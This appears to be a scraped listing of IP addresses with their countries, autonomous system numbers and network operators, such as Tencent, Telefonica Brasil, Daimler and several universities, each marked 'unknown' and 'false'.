45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
201.92.11.186
 unknown Brazil
27699 TELEFONICABRASILSABR false
146.255.202.89
 unknown Russian Federation
42632 MNOGOBYTE-ASMoscowRussiaRU false
53.146.47.251
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
219.250.248.116
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
133.66.208.93
 unknown Japan 17946 GUCCGifuUniversityJP false
141.221.141.104
 unknown United States
10702 INL-ASUS false
48.19.101.102
 unknown United States
2686 ATGS-MMD-ASUS false
202.107.191.68
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
5.117.253.246
 unknown Iran (ISLAMIC Republic Of)
44244 IRANCELL-ASIR false
120.115.138.97
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
129.131.23.31
 unknown United States
2701 KSU-NETUS false
133.231.146.242
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
109.176.209.168
 unknown United Kingdom
12513 ECLIPSEGB false